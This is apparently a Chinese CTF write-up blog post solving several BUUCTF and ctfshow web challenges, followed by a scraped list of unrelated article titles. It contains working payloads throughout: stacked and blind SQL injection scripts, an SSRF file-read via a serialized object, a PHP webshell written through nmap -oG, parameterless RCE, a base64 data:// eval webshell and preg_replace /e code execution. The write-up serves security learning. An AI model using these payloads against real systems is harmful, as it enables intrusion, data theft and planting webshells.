• buuctf(探险2)


    [GXYCTF2019]BabyUpload

    上传文件

    先上传一个一句话木马.,过滤了

    然后用 
    可以通过,大概还是过滤了

     剩下就上传.htaccess和一个一句话木马得到flag,详细看上一篇

     [GYCTF2020]Blacklist

    命令执行,sql注入

    打开啥都没有,输入  127.0.0.1;ls出来了以下东西

     过滤了字符,这种一般考虑堆叠注入了

    ’;show databases;查询数据库

    ';show tables; 查询数据库表

     

    按理说应该在flaghere这个表中,看一下

    ';show columns from FlagHere;#

     发现flag列,推测其应为flag,尝试获取内容,本来用select 列名from 表名,但是因为select被限制,查了一些资料了解HANDLER语法可以绕过select限制

    知识点:mysql查询语句-handler_jesseyoung的博客-CSDN博客

    1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
    

     [CISCN2019 华北赛区 Day2 Web1]Hack World

    php,sql注入

     感觉像是布尔盲注,有提示,在flag表中的flag 列

    检测有sql注入,说明有过滤字符出现,试一下

    ;select; 报错 false,最后试出来是空格被过滤,用()代替就可 

    输入1才爆出以下内容,那应该是数字注入,用1^异或手段

    1. import requests
    2. url = "http://544bd178-7684-402b-967c-74b281f5c382.node4.buuoj.cn:81/index.php"
    3. res = ""
    4. try:
    5. for i in range(1, 50):
    6. for j in range(1, 127):
    7. payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j)
    8. data = {"id": payload}
    9. r = requests.post(url, data)
    10. print(payload)
    11. if "Hello, glzjin wants a girlfriend." in r.text:
    12. res += (chr(j))
    13. print(res)
    14. break
    15. except:
    16. print("end ....")
    17. print(res)

     payload = "1^if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1)" % (i, j)

    (ascii(substr((select(flag)from(flag)),%d,1))=%d)这肯定不是false就是true

    if(false,0,1)出来以后就是1

    if(true,0,1)就是0

    1^1=0  1^0=1

    if "Hello, glzjin wants a girlfriend." in r.text:如果存在,说明上面时true所以,哪个字符对应正确

     

    看源码,文本框用的id变量, 所以data = {"id": payload},然后开始爆源码,时间有些漫长

     [网鼎杯 2018]Fakebook

    sql注入

    打开先注册以下,这里小心一个点,blog这需要一个网址,比如baisfd.com

     点击dsf用户名,感觉有个链接

     把1改了,改成2试试

    报错,这就是注入点,进行sql注入,试一下联合注入 

     order by试出来了 几个字段列

    报错了,中间把union/**/select就对了,很纳闷,不知带waf怎么写的 

    然后判断注入点

    fakebook数据库名

    bia  表名

    usernameage

    no=2%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema="facebook"# 

    no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

    no=2%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name="users"#

     一个个字段看,发现passwd是经过md5加密的,data字段里面是一个序列化

    本地地址找到了,/var/www/html/flag.php应该在这里面

    然后我们序列化就可以,应该有phP的源码

     扫一下目录,发现robots.txt,然后找到源码

    1. class UserInfo
    2. {
    3. public $name = "";
    4. public $age = 0;
    5. public $blog = "";
    6. public function __construct($name, $age, $blog)
    7. {
    8. $this->name = $name;
    9. $this->age = (int)$age;
    10. $this->blog = $blog;
    11. }
    12. function get($url)
    13. {
    14. $ch = curl_init();
    15. curl_setopt($ch, CURLOPT_URL, $url);
    16. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    17. $output = curl_exec($ch);
    18. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    19. if($httpCode == 404) {
    20. return 404;
    21. }
    22. curl_close($ch);
    23. return $output;
    24. }
    25. public function getBlogContents ()
    26. {
    27. return $this->get($this->blog);
    28. }
    29. public function isValidBlog ()
    30. {
    31. $blog = $this->blog;
    32. return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    33. }
    34. }

    curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    看见curl  ssrf漏洞,可以用到file///读取路径

    1. class UserInfo
    2. {
    3. public $name = "cxk";
    4. public $age = 12;
    5. public $blog = "file:///var/www/html/flag.php";
    6. }
    7. $a=new UserInfo();
    8. echo serialize($a);

    然后判断序列化是在data字段中,

    =2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:3:"cxk";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users#

    查看源码得到base64编码,解码获得flag

    [BUUCTF 2018]Online Tool

    命令注入

    1.escapeshellarg绕过(参考链接

    2.Nmap -oG 将命令和结果写入文件

    1. if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    2. $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    3. }
    4. if(!isset($_GET['host'])) {
    5. highlight_file(__FILE__);
    6. } else {
    7. $host = $_GET['host'];
    8. $host = escapeshellarg($host);
    9. //escapeshellarg
    10. //1,确保用户值传递一个参数给命令
    11. //2,用户不能指定更多的参数
    12. //3,用户不能执行不同的命令
    13. $host = escapeshellcmd($host);
    14. //escapeshellcmd
    15. //1,确保用户只执行一个命令
    16. //2,用户可以指定不限数量的参数
    17. //3,用户不能执行不同的命令
    18. $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    19. echo 'you are in sandbox '.$sandbox;
    20. @mkdir($sandbox);
    21. chdir($sandbox);
    22. echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

    对源码进行分析:

    $_SERVER["REMOTE_ADDR"]获取客户端的 IP地址;
    $_SERVER['HTTP_X_FORWARDED_FOR']是透过代理服务器获取客户端真实IP地址;
    若未设置GET传入参数host的值,将显示源码;
    变量$host经过escapeshellar()与escapeshellcmd()方法防止注入参数
    将执行命令拼接,输出
    Nmap的扫描结果
    首先传入正常的参数127.0.0.1,获得返回结果:

     尝试用; || &管道符等

    发现不可以,体现出了 /escapeshellarg只能传递一个参数,只执行一条命令

    1.传入参数:127.0.0.1' -v -d a=1
    2.经过escapeshellarg()函数处理后变为:'127.0.0.1'\'' -v -d a=1',也就是将其中的'单引号转义,再用单引号将内容包含起来
    3.处理完的字符串再通过escapeshellcmd()函数的处理,变成:'127.0.0.1'\\'' -v -d a=1\',因为escapeshellcmd()函数对\以及最后的未闭合的'进行了转义
    4.由于两次函数的处理,最终参数可简化成:127.0.0.1\ -v -d a=1',因为包围127.0.0.1的单引号产生了闭合,\\被解释为\,中间的两个单引号''完成了闭合,最终留下了a=1',也就是末尾的单引号。


    结合本题环境,常用的命令注入方法都不行,题目环境为Nmap扫描,查阅到Nmap可以写入文件,其中参数-oG可以实现将命令和结果写入文件,尝试构造如下Payload:

    127.0.0.1  @eval();?> -oG hack.php

    因为两端单引号闭合,所以一句话木马只是被当成了字符串处理。

    所以需要闭合所有的单引号,将一句话木马变成一条命令,尝试在Payload前后均加上'单引号:

    '127.0.0.1  -oG hack.php'
    

    所有的引号都已闭合,可以化简为

    \127.0.0.1  @eval();?> -oG hack.php
    

     可不添加HOST地址,构造为:' -oG hack.php'

    给出了保存文件访问

    http://***ae6461532e77c12b50d1b32bf310caac/hack.php

     链接蚁建获取flag

    或者 ?host=' -oG test.php '

    直接在页面上显示

    ' -oG test.php '

     看见flag

    参考:BUUCTF [BUUCTF 2018] Online Tool_Senimo_的博客-CSDN博客

    [BJDCTF2020]The mystery of ip

     打开界面查看,发现显示我的ip地址,

    抓包看一下,x-forwarded-for会不会有问题

    试了本地地址没回显,会不会是有注入呢

    果然有运算

     剩下的就是常规操作了

    真正的flag在根目录,上面的目录是个假的 

          [GXYCTF2019]禁止套娃

    翻了好久都没找到,会不会有隐藏目录,需要扫目录  这是现在的一个突破点‘

    没扫到

    然后想来会不会是git源码泄露, kali用githack扫描

    1. include "flag.php";
    2. echo "flag在哪里呢?
      "
      ;
    3. if(isset($_GET['exp'])){
    4. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    5. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    6. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    7. // echo $_GET['exp'];
    8. @eval($_GET['exp']);
    9. }
    10. else{
    11. die("还差一点哦!");
    12. }
    13. }
    14. else{
    15. die("再好好想想!");
    16. }
    17. }
    18. else{
    19. die("还想读flag,臭弟弟!");
    20. }
    21. }
    22. // highlight_file(__FILE__);
    23. ?>

     f (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {

    第二个if (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子

    也就是a(); a(a());这种可以,不能是a('1');这种。
    第三个继续过滤字符

    感觉是无参数的rce

    这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。

    但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是.

    ?exp=print_r(scandir(pos(localeconv())));

    看一下上面的函数

    localeconv(),回显数组,第一个数组是字符"."点号

    pos(),传入数组,回显第一个数组的值,pos可以用current代替

    所以pos(localeconv())等价于.号

    而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件

    再配合print_r函数输出数组

    就会列出当前所有目录

    flag在第四个数组里卖弄,这时候我们就要想让指针如何指向,或者翻转数组 

    所以可以先利用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload 

    ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

    参考文章:无参数RCE总结_L1am0ur的博客-CSDN博客_无参数rce 

    ctfshow七夕

    前序:本来想做一道签到题,就跑,结果连签到题都能不会唉,还是太菜了!!!

     web签到

     

    看完了解是一个7字符的rce命令执行,

    第一种方法

    nl /*>1也就是把全部的文件都放进,1这个文件中

     然后查看1的目录,由于tools.php不是目录而是一个文件,所以删去

    打开文件获得flag

    第二种 

    就是依靠python的脚本代码了

    1. import requests
    2. __AUTHOR__ = "h1xa"
    3. url = "http://d329dd0b-f97b-4aa9-93e6-c3cc0bfd8ae1.challenge.ctf.show/"
    4. def getFlag():
    5. file={
    6. "file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt" 随后写入到/var/www/html/1.txt,
    7. }
    8. data={
    9. "cmd":". /t*/*" 正好七个字符, 在使用. /t*/*运行/tmp目录下的所有文件
    10. }
    11. response = requests.post(url=url+"api/tools.php",files=file,data=data)
    12. if "t*" in response.text: 页面显示的内容
    13. print("执行成功,检查回显...")
    14. response = requests.get(url=url+"1.txt") 自动到页面访问
    15. if response.status_code == 200:
    16. print("flag 获取成功 "+response.text)
    17. else:
    18. print("flag 获取失败")
    19. if __name__ == '__main__':
    20. getFlag()

    同样获取flag可以,

    easy_calc

    命令执行

    提示:大牛:我用计算器弹出了计算器?

    打开环境发现一直弹出,

    查看界面弹出的计算器仅仅是标签,代码中才是真正的计算器

    1. if(check($code)){
    2. eval('$result='."$code".";");
    3. echo($result);
    4. }
    5. function check(&$code){
    6. $num1=$_POST['num1'];
    7. $symbol=$_POST['symbol'];
    8. $num2=$_POST['num2'];
    9. if(!isset($num1) || !isset($num2) || !isset($symbol) ){
    10. return false;
    11. }
    12. if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
    13. return false;
    14. }
    15. if(preg_match("/^[\+\-\*\/]$/", $symbol)){
    16. $code = "$num1$symbol$num2";
    17. return true;
    18. }
    19. return false;
    20. }

     post传参,然后字符串链接成一个木马进行eval操作

     eval('$result='."$code".";");

    既然是eval就是代码执行,但是又不能用括号,那么只能用不用括号的函数了,那么答案很显然

    php中不需要括号使用的函数,叫做语言结构,常见的有include、require、echo

    那么思路有了,要使用include来执行代码,那么显而易见,肯定要用到伪协议

    我们只需要构造出一个data的伪协议看看

    正常的data协议

    include "data://text/plain,$_GET[1]);?>"

    可是我们发现<和()都是被过滤掉的就需要使用,data的第二种写法,base64编码

    include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"

    然后

    num1=include "data:/

    symbol=/

    num2=text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"

    $num1$symbol$sum2="include data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"

     

    一因为用的get传参,然后没找到flag,看见secret可能看这里cat查看一下,system后面必须要有分号注释掉后面 

     得到flag

    [BJDCTF2020]ZJCTF,不过如此

    preg_plave  /e

    知识点:深入研究preg_replace与代码执行 - 先知社区

    打开界面

    1. error_reporting(0);
    2. $text = $_GET["text"];
    3. $file = $_GET["file"];
    4. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    5. echo "

      ".file_get_contents($text,'r')."


      "
      ;
    6. if(preg_match("/flag/",$file)){
    7. die("Not now!");
    8. }
    9. include($file); //next.php
    10. }
    11. else{
    12. highlight_file(__FILE__);
    13. }
    14. ?>

    file_get_contents读取文件到r这个字符串,因为之前做题见过

    应该是用data伪协议就可以绕过了,试一下

    ?text=data://text/plain,I have a dream  //记住没引号的 

    这第一步就算绕过去了,然后看第二步 

        include($file);  //next.php既然给出了提示,八成是里面包含一个php序列化啥的

     普通的没成功,试一下 filter读取伪协议

    php://filter/read=convert.base64-encode/resource=next.php

    获得base64编码, 解码

    1. $id = $_GET['id'];
    2. $_SESSION['id'] = $id;
    3. function complex($re, $str) {
    4. return preg_replace(
    5. '/(' . $re . ')/ei',
    6. 'strtolower("\\1")',
    7. $str
    8. );
    9. }
    10. foreach($_GET as $re => $str) {
    11. echo complex($re, $str). "\n";
    12. }
    13. function getFlag(){
    14. @eval($_GET['cmd']);
    15. }

     虽然就这几行,可是有点蒙,

    foreach($_GET as $re => $str) {
        echo complex($re, $str). "\n";
    }  for循环   里面传参都是 id的值,没啥问题

    function  getFlag()需要有东西调用的

    矛头指向 preg_replace这本来也是一个高危函数,查询一下资料

     preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。

    eval('strtolower("\\1");') 结果,当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义,相当于匹配到一号缓冲区。

    参数第二个其实就会被执行,相当于加上eval,第一个第三个是可以被控制的

    /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 

    preg_replace( '/(' . $re . ')/ei',      'strtolower("\\1")',        $str  );

    preg_replace( '/(' .* ')/ei',      'strtolower("\\1")',    {${phpinfo()}}       );就会变为这样

    因为PHP.作为变量开头会被替换为下划线,另一种姿势 /?\S*={${phpinfo()}}

    在next.php中,发现调用getFlag这个函数就可以执行,一个一句话木马,通过get传参,所以我们通过先调用,然后用cmd进行命令执行

    记住实在next.php下面执行的

     

    /next.php?\S*=${getFlag()}&cmd=system(%27ls%20/%27);

     

     

    收获:

    1.当堆叠注入的最后,select被禁用的时候,最后读取字段的内容,可以用handler,如果不在第一行可以用next往下继续查看

    1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
     

    2. sql注入中看见,curl就要考虑file进行读取flag

    "file:///var/www/html/flag.php"

     3.Nmap -oG 将命令和结果写入文件

    .escapeshellarg 和.escapeshellcmd两个函数连用的漏洞,一般会分成三个部分中间用\链接,

    4.rce

    ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); 

    pos(localeconv())这两个相当于一个点号,在rce无参数可以利用

    scandir(.)显示所有文件,一般这三个连用

    array_reverse数组翻转  ,next光标向下移动一个

    5.拼接成一个rce命令

    include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"

    可以分成三部分,如果过滤特殊字符

    6.preg_replace(\e)

    第二个参数,会进行eval操作

    可以通过?\S*=${phpinfo()}  来修改第一个参数,和第二个参数,等号前面为第一个参数,后面是第二参数的值

    好的收获蛮多的,加油! 

  • 相关阅读:
    【汇编】Debug的使用
    java-net-php-python-jsp宠物寄养系统计算机毕业设计程序
    Transformer 综述 & Transformers in Vision: A Survey
    性格急躁怎么办?如何改变急躁的性格?
    Nginx加载Lua脚本lua_shared_dict缓存
    Linux shell编程学习笔记1:关于shell的前世今生
    关于单机流程编排技术——docker compose安装使用的问题
    【面试题】前端人70%以上 不了解的promise/async await
    快速排序的python实现
    快速上手绿联私有云UGOS Pro系统Docker | 安装/部署/管理/docker-compose一网打尽
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/126167053